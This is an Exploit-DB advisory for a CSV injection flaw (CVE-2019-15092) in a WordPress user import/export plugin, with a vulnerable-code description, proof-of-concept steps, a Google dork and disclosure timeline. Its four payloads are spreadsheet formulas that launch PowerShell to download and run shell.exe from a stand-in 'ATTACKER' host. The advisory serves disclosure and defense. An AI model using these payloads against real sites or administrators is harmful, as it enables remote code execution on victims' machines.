WordPress Plugin Import Export WordPress Users 1.3.1 - CSV Injection

EDB-ID:

47303




Platform:

PHP

Date:

2019-08-26


# Exploit Title: Wordpress Plugin Import Export WordPress Users <= 1.3.1 - CSV Injection
# Exploit Author: Javier Olmedo
# Contact: @jjavierolmedo
# Website: https://sidertia.com
# Date: 2018-08-22
# Google Dork: inurl:"/wp-content/plugins/users-customers-import-export-for-wp-woocommerce"
# Vendor: WebToffee
# Software Link: https://downloads.wordpress.org/plugin/users-customers-import-export-for-wp-woocommerce.1.3.1.zip
# Affected Version: 1.3.1 and before
# Active installations: +20,000
# Patched Version: update to 1.3.2 version
# Category: Web Application
# Platform: PHP
# Tested on: Win10x64
# CVE: 2019-15092
# References:
# https://hackpuntes.com/cve-2019-15092-wordpress-plugin-import-export-users-1-3-0-csv-injection/
# https://medium.com/bugbountywriteup/cve-2019-15092-wordpress-plugin-import-export-users-1-3-0-csv-injection-b5cc14535787
 
# 1. Technical Description
# Wordpress Plugin Import Export WordPress Users version 1.3.1. and before are affected by Remote Code
# Execution through the CSV injection vulnerability. This allows any application user to inject commands
# as part of the fields of his profile and these commands are executed when a user with greater privilege 
# exports the data in CSV and opens that file on his machine.

# 2. Vulnerable code
# The function do_export() from WF_CustomerImpExpCsv_Exporter class does not check if fields beggings
# with (=, +, -, @) characters so the fields name, surname, alias or display_name are vulnerable to CSV Injection.
 
# 3. Proof Of Concept (PoC)
# 3.1 Login with subscriber user and change the fields First name, Surname and Alias with payloads.
# 3.2 Login with a high privileges user and export all users to CSV.
# 3.3 When the user with high privileges logs in to the application, export data in CSV and opens the 
# generated file, the command is executed and the shell will run open on the machine.

# 4. Payloads
=cmd|'/C powershell IEX(wget http://ATTACKER/shell.exe)'!A0
+cmd|'/C powershell IEX(wget http://ATTACKER/shell.exe)'!A0
-cmd|'/C powershell IEX(wget http://ATTACKER/shell.exe)'!A0
@cmd|'/C powershell IEX(wget http://ATTACKER/shell.exe)'!A0

# 5. Timeline
# 15, august 2019 - [RESEARCHER] Discover
# 15, august 2019 - [RESEARCHER] Report to Webtoffee support
# 16, august 2019 - [DEVELOPER] More information request
# 16, august 2019 - [RESEARCHER] Detailed vulnerability report
# 19, august 2019 - [DEVELOPER] Unrecognized vulnerability
# 22, august 2019 - [RESEARCHER] Public disclosure